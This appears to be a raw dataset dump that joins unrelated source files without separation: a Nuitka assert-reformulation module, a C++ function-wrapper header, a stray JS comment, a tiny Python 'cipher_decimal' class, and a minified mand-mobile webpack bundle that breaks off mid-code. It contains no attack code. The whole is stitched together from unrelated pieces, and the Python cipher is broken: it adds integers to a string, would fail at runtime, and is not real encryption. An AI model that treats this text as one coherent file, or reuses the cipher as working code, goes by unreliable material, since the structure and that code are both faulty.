text
stringlengths
3
1.05M
# Copyright 2016, Kay Hayen, mailto:kay.hayen@gmail.com # # Part of "Nuitka", an optimizing Python compiler that is compatible and # integrates with CPython, but also works on its own. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ Reformulation of assert statements. Consult the developer manual for information. TODO: Add ability to sync source code comments with developer manual sections. """ from nuitka.nodes.BuiltinRefNodes import ExpressionBuiltinExceptionRef from nuitka.nodes.ConditionalNodes import StatementConditional from nuitka.nodes.ContainerMakingNodes import ExpressionMakeTuple from nuitka.nodes.ExceptionNodes import StatementRaiseException from nuitka.nodes.OperatorNodes import ExpressionOperationNOT from nuitka.nodes.StatementNodes import StatementsSequence from nuitka.Options import getPythonFlags from nuitka.PythonVersions import python_version from .Helpers import buildNode def buildAssertNode(provider, node, source_ref): # Build assert statements. These are re-formulated as described in the # developer manual too. They end up as conditional statement with raises of # AssertionError exceptions. # Underlying assumption: # # Assert x, y is the same as: # if not x: # raise AssertionError, y # Therefore assert statements are really just conditional statements with a # static raise contained. # exception_value = buildNode(provider, node.msg, source_ref, True) if "no_asserts" in getPythonFlags(): return None if exception_value is not None and python_version > 272: exception_value = ExpressionMakeTuple( elements = (exception_value,), source_ref = source_ref ) raise_statement = StatementRaiseException( exception_type = ExpressionBuiltinExceptionRef( exception_name = "AssertionError", source_ref = source_ref ), exception_value = exception_value, exception_trace = None, exception_cause = None, source_ref = source_ref ) return StatementConditional( condition = ExpressionOperationNOT( operand = buildNode(provider, node.test, source_ref), source_ref = source_ref ), yes_branch = StatementsSequence( statements = ( raise_statement, ), source_ref = source_ref ), no_branch = None, source_ref = source_ref )
#pragma once #include <cstdint> #include <array> namespace scimitar::util { template <typename> class Function; template < typename tReturn, typename... tArgs > struct Function<tReturn(tArgs...)> final { using FnPtr = tReturn(*)(void*, tArgs&&...); // type-erased function pointer void* const m_Instance; const FnPtr m_FunctionPtr; template <auto FunctionPtr> static Function bind(); template <auto MemberPtr, typename Object> static Function bind(Object* obj); template <typename Lambda> static Function bind(Lambda* ptr); template <typename...Xs> tReturn operator()(Xs&&... args) const; }; } #include "function.inl"
// You're lucky, no tests for node, do whatever you want!
import binascii class cipher_decimal: def encrypt(self, data): result = '' for char in data: result += ord(char) return result def decrypt(self, data): result = '' for num in data: result += chr(num) return result
webpackJsonp([59],{"009j":function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=t.info={title:"Landscape",preview:"https://didi.github.io/mand-mobile/examples/#/landscape"},a=t.body="<p>To display ads or descriptions in a floating layer</p>\n<h3 id=\"Import\">Import<a href=\"javascript:jumpAnchor('Import')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h3\">#</a></h3><pre><code class=\"lang-javascript\"><span class=\"hljs-keyword\">import</span> { Landscape } <span class=\"hljs-keyword\">from</span> <span class=\"hljs-string\">'mand-mobile'</span>\n\nVue.component(Landscape.name, Landscape)\n</code></pre>\n<h3 id=\"Code Examples\">Code Examples<a href=\"javascript:jumpAnchor('Code Examples')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h3\">#</a></h3><!-- DEMO -->\n<h3 id=\"API\">API<a href=\"javascript:jumpAnchor('API')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h3\">#</a></h3><h4 id=\"Landscape Props\">Landscape Props<a href=\"javascript:jumpAnchor('Landscape Props')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h4\">#</a></h4><table>\n<thead>\n<tr>\n<th>Props</th>\n<th>Description</th>\n<th>Type</th>\n<th>Default</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>v-model</td>\n<td>display popup layer or not</td>\n<td>Boolean</td>\n<td><code>false</code></td>\n</tr>\n<tr>\n<td>has-mask</td>\n<td>has mask or not</td>\n<td>Boolean</td>\n<td><code>true</code></td>\n</tr>\n<tr>\n<td>scroll</td>\n<td>content area can be scrolled or not</td>\n<td>Boolean</td>\n<td><code>false</code></td>\n</tr>\n<tr>\n<td>mask-closable</td>\n<td>if popup layer can be closed through clicking on the mask</td>\n<td>Boolean</td>\n<td><code>false</code></td>\n</tr>\n</tbody>\n</table>\n<h4 id=\"Landscape Events\">Landscape Events<a href=\"javascript:jumpAnchor('Landscape Events')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h4\">#</a></h4><h5 id=\"@show()\">@show()<a href=\"javascript:jumpAnchor('@show()')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h5\">#</a></h5><p>Display popup</p>\n<h5 id=\"@hide()\">@hide()<a href=\"javascript:jumpAnchor('@hide()')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h5\">#</a></h5><p>Hide popup</p>\n",s=t.toc="<a href=\"javascript:jumpAnchor('Import')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h3\">Import</a><a href=\"javascript:jumpAnchor('Code Examples')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h3\">Code Examples</a><a href=\"javascript:jumpAnchor('API')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h3\">API</a><a href=\"javascript:jumpAnchor('Landscape Props')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h4\">Landscape Props</a><a href=\"javascript:jumpAnchor('Landscape Events')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h4\">Landscape Events</a><a href=\"javascript:jumpAnchor('@show()')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h5\">@show()</a><a href=\"javascript:jumpAnchor('@hide()')\" class=\"mfe-blog-toc-item mfe-blog-toc-item-h5\">@hide()</a>"},"1YuB":function(e,t,o){t=e.exports=o("FZ+f")(!0),t.push([e.i,".md-example-child-landscape .md-button{margin-bottom:20px}.md-example-child-landscape .content{background:#fff}.md-example-child-landscape .scroll-area{padding:40px;color:#666}.md-example-child-landscape .scroll-area h1{margin-bottom:40px}.md-example-child-landscape .scroll-area p{margin:20px}","",{version:3,sources:["/Users/shawnxu/Desktop/Repertory/mand-mobile/site/public/en-US/docs/components/business/landscape/demo0.vue"],names:[],mappings:"AACA,uCACE,kBAAoB,CACrB,AACD,qCACE,eAAiB,CAClB,AACD,yCACE,aAAc,AACd,UAAY,CACb,AACD,4CACE,kBAAoB,CACrB,AACD,2CACE,WAAa,CACd",file:"demo0.vue",sourcesContent:["\n.md-example-child-landscape .md-button {\n margin-bottom: 20px;\n}\n.md-example-child-landscape .content {\n background: #fff;\n}\n.md-example-child-landscape .scroll-area {\n padding: 40px;\n color: #666;\n}\n.md-example-child-landscape .scroll-area h1 {\n margin-bottom: 40px;\n}\n.md-example-child-landscape .scroll-area p {\n margin: 20px;\n}"],sourceRoot:""}])},"3IRH":function(e){e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],!e.children&&(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),e.webpackPolyfill=1),e}},"470t":function(e,t,o){var a=o("PX1t");"string"==typeof a&&(a=[[e.i,a,""]]),a.locals&&(e.exports=a.locals);o("rjj0")("8c080888",a,!0,{})},"7lNs":function(e,t){var o,a,s;(function(n,d){a=[t],o=d,s="function"==typeof o?o.apply(t,a):o,!(void 0!==s&&(e.exports=s))})(this,function(e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default={"hollow-plus":"<svg viewBox=\"0 0 512 512\"><path d=\"M241.778 270.222v128c0 7.854 6.368 14.222 14.222 14.222s14.222-6.368 14.222-14.222v-128h128c7.854 0 14.222-6.368 14.222-14.222s-6.368-14.222-14.222-14.222h-128v-128c0-7.855-6.368-14.222-14.222-14.222s-14.222 6.367-14.222 14.222v128h-128c-7.855 0-14.222 6.368-14.222 14.222s6.367 14.222 14.222 14.222h128z\"/><path d=\"M0 256C0 114.615 114.615 0 256 0s256 114.615 256 256-114.615 256-256 256S0 397.385 0 256zm28.445 0c0 125.675 101.88 227.555 227.555 227.555S483.555 381.675 483.555 256c0-125.675-101.88-227.555-227.555-227.555S28.445 130.325 28.445 256z\"/></svg>","arrow-up":"<svg viewBox=\"0 0 512 512\"><path d=\"M145.92 315.904c-5.632-5.632-5.632-14.336 0-19.968l100.352-99.84c5.12-5.632 14.336-5.632 19.968 0l99.84 99.84c5.632 5.632 5.632 14.336 0 19.968s-14.336 5.632-19.968 0L256 225.792l-90.112 90.112c-5.632 5.632-14.336 5.632-19.968 0z\"/></svg>","arrow-down":"<svg viewBox=\"0 0 512 512\"><path d=\"M366.08 196.096c5.632 5.632 5.632 14.336 0 19.968l-99.84 99.84c-5.632 5.632-14.848 5.632-19.968 0l-100.352-99.84c-5.632-5.632-5.632-14.336 0-19.968s14.336-5.632 19.968 0L256 286.208l90.112-90.112c5.632-5.632 14.336-5.632 19.968 0z\"/></svg>","arrow-left":"<svg viewBox=\"0 0 512 512\"><path d=\"M315.904 366.08c-5.632 5.632-14.336 5.632-19.968 0l-99.84-100.352c-5.632-5.12-5.632-14.336 0-19.968l99.84-99.84c5.632-5.632 14.336-5.632 19.968 0s5.632 14.336 0 19.968L225.792 256l90.112 90.112c5.632 5.632 5.632 14.336 0 19.968z\"/></svg>","arrow-right":"<svg viewBox=\"0 0 512 512\"><path d=\"M196.096 145.92c5.632-5.632 14.336-5.632 19.968 0l99.84 99.84c5.632 5.632 5.632 14.848 0 19.968l-99.84 100.352c-5.632 5.632-14.336 5.632-19.968 0s-5.632-14.336 0-19.968L286.208 256l-90.112-90.112c-5.632-5.632-5.632-14.336 0-19.968z\"/></svg>",cross:"<svg viewBox=\"0 0 512 512\"><path d=\"M111.104 91.136L256 236.032 400.896 91.136l19.968 19.968L275.968 256l144.896 144.896-19.968 19.968L256 275.968 111.104 420.864l-19.968-19.968L236.032 256 91.136 111.104l19.968-19.968z\"/></svg>","circle-alert":"<svg viewBox=\"0 0 512 512\"><path d=\"M256 496C123.449 496 16 388.551 16 256S123.449 16 256 16s240 107.449 240 240-107.449 240-240 240zm-23.441-375l7.031 165H271l8.441-165h-46.879zm44.692 218.76c-5.921-5.809-13.069-8.719-21.439-8.719-8.381 0-15.461 2.91-21.24 8.719-5.779 5.831-8.681 12.881-8.681 21.18 0 9.499 3.03 16.89 9.079 22.17 6.049 5.291 13.129 7.931 21.24 7.931 7.969 0 14.951-2.681 20.94-8.029 5.981-5.34 8.97-12.701 8.97-22.069 0-8.299-2.959-15.349-8.869-21.18z\"/></svg>","circle-cross":"<svg viewBox=\"0 0 512 512\"><title/><path d=\"M256 29.696C131.072 29.696 29.696 131.072 29.696 256S131.072 482.304 256 482.304 482.304 380.928 482.304 256 380.928 29.696 256 29.696zm90.112 296.448l-19.968 19.968L256 275.968l-70.144 70.144-19.968-19.968L236.032 256l-70.144-70.144 19.968-19.968L256 236.032l70.144-70.144 19.968 19.968L275.968 256l70.144 70.144z\"/></svg>","circle-right":"<svg viewBox=\"0 0 512 512\"><path d=\"M256 29.696C131.072 29.696 29.696 131.072 29.696 256S131.072 482.304 256 482.304 482.304 380.928 482.304 256 380.928 29.696 256 29.696zm-22.528 304.64l.512.512-19.968 19.968L128 268.8l19.968-19.968 65.536 65.536 145.92-145.92 19.968 19.968-145.92 145.92z\"/></svg>",spinner:"<svg class=\"lds-spinner\" viewBox=\"0 0 100 100\" preserveAspectRatio=\"xMidYMid\" style=\"background:0 0\"><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.9166666666666666s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(30 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.8333333333333334s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(60 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.75s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(90 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.6666666666666666s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(120 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.5833333333333334s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(150 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.5s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(180 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.4166666666666667s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(210 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.3333333333333333s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(240 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.25s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(270 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.16666666666666666s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(300 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"-0.08333333333333333s\" repeatCount=\"indefinite\"/></rect><rect x=\"46.5\" y=\"15.5\" rx=\"12.09\" ry=\"4.03\" width=\"7\" height=\"17\" fill=\"#eee\" transform=\"rotate(330 50 50)\"><animate attributeName=\"opacity\" values=\"1;0\" dur=\"1s\" begin=\"0s\" repeatCount=\"indefinite\"/></rect></svg>",right:"<svg viewBox=\"0 0 670 512\"><path d=\"M222.793 371.595L55.698 204.5-.001 260.198l222.793 222.793L640.529 65.254 584.831 9.555 222.793 371.593z\"/><path d=\"M55.699 232.35L27.85 260.199l194.944 194.944L612.682 65.255l-27.849-27.849-362.038 362.038L55.7 232.349z\"/></svg>",circle:"<svg viewBox=\"0 0 512 512\"><path fill=\"none\" stroke=\"#ccc\" stroke-width=\"24.381\" d=\"M467.81 256c0 116.98-94.83 211.81-211.81 211.81S44.19 372.98 44.19 256 139.02 44.19 256 44.19 467.81 139.02 467.81 256z\"/></svg>"}})},CNix:function(e,t,o){var a=o("RilN");"string"==typeof a&&(a=[[e.i,a,""]]),a.locals&&(e.exports=a.locals);o("rjj0")("0a78555e",a,!0,{})},DIBZ:function(e,t,o){var a,s,n;(function(){(function(d,i){s=[t,o("S60p"),o("U6ik"),o("fFMQ")],a=i,n="function"==typeof a?a.apply(t,s):a,!(void 0!==n&&(e.exports=n))})(this,function(e,t){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=function(e){return e&&e.__esModule?e:{default:e}}(t);e.default={name:"md-icon",props:{name:{type:String,default:""},size:{type:String,default:"md"},color:{type:String,default:""}},mounted:function(){(0,o.default)()}}})})(),e.exports.__esModule&&(e.exports=e.exports.default);var d="function"==typeof e.exports?e.exports.options:e.exports;d.functional&&console.error("[vueify] functional components are not supported and should be defined in plain js files using render functions."),d.render=function(){var e=this,t=e.$createElement,o=e._self._c||t;return e.name?o("svg",{staticClass:"md-icon",class:["md-icon-"+e.name,e.size],style:{fill:e.color},on:{click:function(t){e.$emit("click",t)}}},[o("use",{attrs:{"xlink:href":"#"+e.name}})]):e._e()},d.staticRenderFns=[],!1},DVLj:function(e,t,o){t=e.exports=o("FZ+f")(!0),t.push([e.i,".md-button{display:block;-webkit-user-select:none;-webkit-tap-highlight-color:transparent;position:relative;text-align:center;border-radius:4px;background:none;border:none;box-shadow:none;outline:none;-webkit-appearance:none;appearance:none;box-sizing:border-box;overflow:visible}.md-button:disabled:active:before{display:none}.md-button:before{top:0;right:0;bottom:0;left:0;display:none;content:\"\";position:absolute;box-sizing:border-box;pointer-events:none}.md-button:active:before{display:block}.md-button .md-button-inner{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center;width:100%;height:100%;overflow:hidden;text-overflow:ellipsis;word-break:break-all;word-wrap:break-word;white-space:nowrap}.md-button.primary{background-color:#fc9153;color:#fff}.md-button.primary:active:before{background-color:rgba(0,0,0,.08)}.md-button.primary:disabled{background-color:#ccc}.md-button.primary.large,.md-button.primary.small{width:100%;height:100px;line-height:100px;font-size:32px;font-weight:500}.md-button.ghost{color:#999;position:relative}.md-button.ghost:after{content:\"\";position:absolute;top:0;left:0;width:200%;height:200%;border:2px solid #999;box-sizing:border-box;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scale(.5);transform:scale(.5);z-index:2;border-radius:8px}.md-button.ghost:active:before{background-color:rgba(0,0,0,.08)}.md-button.ghost-primary{color:#fc9153;position:relative}.md-button.ghost-primary:after{content:\"\";position:absolute;top:0;left:0;width:200%;height:200%;border:2px solid #fc9153;box-sizing:border-box;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scale(.5);transform:scale(.5);z-index:2;border-radius:8px}.md-button.ghost-primary:active:before{background-color:rgba(252,145,83,.08)}.md-button.ghost-primary:disabled,.md-button.ghost:disabled{opacity:.4;-ms-filter:\"progid:DXImageTransform.Microsoft.Alpha(Opacity=40)\";filter:alpha(opacity=40)}.md-button.ghost-primary.large,.md-button.ghost.large{width:160px;height:60px;line-height:60px;font-size:24px}.md-button.ghost-primary.small,.md-button.ghost.small{width:130px;height:50px;line-height:50px;font-size:24px}.md-button.link{background-color:#fff;color:#3ca0e6}.md-button.link .md-button-inner{position:relative}.md-button.link .md-button-inner:after{content:\"\";position:absolute;z-index:2;background-color:#d9d9d9;-webkit-transform-origin:100% 50%;transform-origin:100% 50%;-webkit-transform:scaleY(.5) translateY(-100%);transform:scaleY(.5) translateY(-100%);top:0;left:0;width:100%;height:2px}@media (-webkit-min-device-pixel-ratio:3),(min-resolution:3dppx){.md-button.link .md-button-inner:after{-webkit-transform:scaleY(.33) translateY(-100%);transform:scaleY(.33) translateY(-100%)}}.md-button.link .md-button-inner:before{content:\"\";position:absolute;z-index:2;background-color:#d9d9d9;-webkit-transform-origin:100% 50%;transform-origin:100% 50%;-webkit-transform:scaleY(.5) translateY(100%);transform:scaleY(.5) translateY(100%);bottom:0;left:0;width:100%;height:2px}@media (-webkit-min-device-pixel-ratio:3),(min-resolution:3dppx){.md-button.link .md-button-inner:before{-webkit-transform:scaleY(.33) translateY(100%);transform:scaleY(.33) translateY(100%)}}.md-button.link:active:before{background-color:rgba(0,0,0,.08)}.md-button.link:disabled{opacity:.4;-ms-filter:\"progid:DXImageTransform.Microsoft.Alpha(Opacity=40)\";filter:alpha(opacity=40)}.md-button.link.large,.md-button.link.small{width:100%;height:100px;font-size:32px}.md-button.with-icon .md-icon{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center;margin-right:12px}","",{version:3,sources:["/Users/shawnxu/Desktop/Repertory/mand-mobile/site/node_modules/mand-mobile/lib/button/style/index.css"],names:[],mappings:"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",file:"index.css",sourcesContent:[".md-button {\n display: block;\n -webkit-user-select: none;\n -webkit-tap-highlight-color: transparent;\n position: relative;\n text-align: center;\n border-radius: 4px;\n background: none;\n border: none;\n box-shadow: none;\n outline: none;\n -webkit-appearance: none;\n appearance: none;\n box-sizing: border-box;\n overflow: visible;\n}\n.md-button:disabled:active::before {\n display: none;\n}\n.md-button::before {\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n display: none;\n content: '';\n position: absolute;\n box-sizing: border-box;\n pointer-events: none;\n}\n.md-button:active::before {\n display: block;\n}\n.md-button .md-button-inner {\n display: -webkit-box;\n display: -webkit-flex;\n display: flex;\n -webkit-box-align: center;\n -webkit-align-items: center;\n align-items: center;\n -webkit-box-pack: center;\n -webkit-justify-content: center;\n justify-content: center;\n width: 100%;\n height: 100%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: break-all;\n word-wrap: break-word;\n white-space: nowrap;\n}\n.md-button.primary {\n background-color: #fc9153;\n color: #fff;\n}\n.md-button.primary:active::before {\n background-color: rgba(0,0,0,0.08);\n}\n.md-button.primary:disabled {\n background-color: #ccc;\n}\n.md-button.primary.large,\n.md-button.primary.small {\n width: 100%;\n height: 100px;\n line-height: 100px;\n font-size: 32px;\n font-weight: 500;\n}\n.md-button.ghost {\n color: #999;\n position: relative;\n}\n.md-button.ghost::after {\n content: '';\n position: absolute;\n top: 0;\n left: 0;\n width: 200%;\n height: 200%;\n border: solid 2px #999;\n box-sizing: border-box;\n -webkit-transform-origin: 0 0;\n transform-origin: 0 0;\n -webkit-transform: scale(0.5);\n transform: scale(0.5);\n z-index: 2;\n border-radius: 8px;\n}\n.md-button.ghost:active::before {\n background-color: rgba(0,0,0,0.08);\n}\n.md-button.ghost-primary {\n color: #fc9153;\n position: relative;\n}\n.md-button.ghost-primary::after {\n content: '';\n position: absolute;\n top: 0;\n left: 0;\n width: 200%;\n height: 200%;\n border: solid 2px #fc9153;\n box-sizing: border-box;\n -webkit-transform-origin: 0 0;\n transform-origin: 0 0;\n -webkit-transform: scale(0.5);\n transform: scale(0.5);\n z-index: 2;\n border-radius: 8px;\n}\n.md-button.ghost-primary:active::before {\n background-color: rgba(252,145,83,0.08);\n}\n.md-button.ghost:disabled,\n.md-button.ghost-primary:disabled {\n opacity: 0.4;\n -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=40)\";\n filter: alpha(opacity=40);\n}\n.md-button.ghost.large,\n.md-button.ghost-primary.large {\n width: 160px;\n height: 60px;\n line-height: 60px;\n font-size: 24px;\n}\n.md-button.ghost.small,\n.md-button.ghost-primary.small {\n width: 130px;\n height: 50px;\n line-height: 50px;\n font-size: 24px;\n}\n.md-button.link {\n background-color: #fff;\n color: #3ca0e6;\n}\n.md-button.link .md-button-inner {\n position: relative;\n position: relative;\n}\n.md-button.link .md-button-inner::after {\n content: '';\n position: absolute;\n z-index: 2;\n background-color: #d9d9d9;\n -webkit-transform-origin: 100% 50%;\n transform-origin: 100% 50%;\n -webkit-transform: scaleY(0.5) translateY(-100%);\n transform: scaleY(0.5) translateY(-100%);\n top: 0;\n left: 0;\n width: 100%;\n height: 2px;\n}\n@media (-webkit-min-device-pixel-ratio: 3), (min-resolution: 3dppx) {\n .md-button.link .md-button-inner::after {\n -webkit-transform: scaleY(0.33) translateY(-100%);\n transform: scaleY(0.33) translateY(-100%);\n }\n}\n.md-button.link .md-button-inner::before {\n content: '';\n position: absolute;\n z-index: 2;\n background-color: #d9d9d9;\n -webkit-transform-origin: 100% 50%;\n transform-origin: 100% 50%;\n -webkit-transform: scaleY(0.5) translateY(100%);\n transform: scaleY(0.5) translateY(100%);\n bottom: 0;\n left: 0;\n width: 100%;\n height: 2px;\n}\n@media (-webkit-min-device-pixel-ratio: 3), (min-resolution: 3dppx) {\n .md-button.link .md-button-inner::before {\n -webkit-transform: scaleY(0.33) translateY(100%);\n transform: scaleY(0.33) translateY(100%);\n }\n}\n.md-button.link:active::before {\n background-color: rgba(0,0,0,0.08);\n}\n.md-button.link:disabled {\n opacity: 0.4;\n -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=40)\";\n filter: alpha(opacity=40);\n}\n.md-button.link.large,\n.md-button.link.small {\n width: 100%;\n height: 100px;\n font-size: 32px;\n}\n.md-button.with-icon .md-icon {\n display: -webkit-box;\n display: -webkit-flex;\n display: flex;\n -webkit-box-align: center;\n -webkit-align-items: center;\n align-items: center;\n -webkit-box-pack: center;\n -webkit-justify-content: center;\n justify-content: center;\n margin-right: 12px;\n}"],sourceRoot:""}])},Diih:function(e,t,o){var a,s,n;(function(){(function(d,i){s=[t,o("U6ik"),o("YJi/")],a=i,n="function"==typeof a?a.apply(t,s):a,!(void 0!==n&&(e.exports=n))})(this,function(e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default={name:"md-popup",props:{value:{type:Boolean,default:!1},hasMask:{type:Boolean,default:!0},maskClosable:{type:Boolean,default:!0},position:{type:String,default:"center"},transition:{type:String,default:function(){switch(this.position){case"bottom":return"slide-up";case"top":return"slide-down";case"left":return"slide-right";case"right":return"slide-left";default:return"fade";}}},preventScroll:{type:Boolean,default:!1},preventScrollExclude:{type:[String,HTMLElement],default:function(){return""}}},data:function(){return{isPopupShow:!1,isPopupBoxShow:!1,isAnimation:!1}},watch:{value:function(e){var 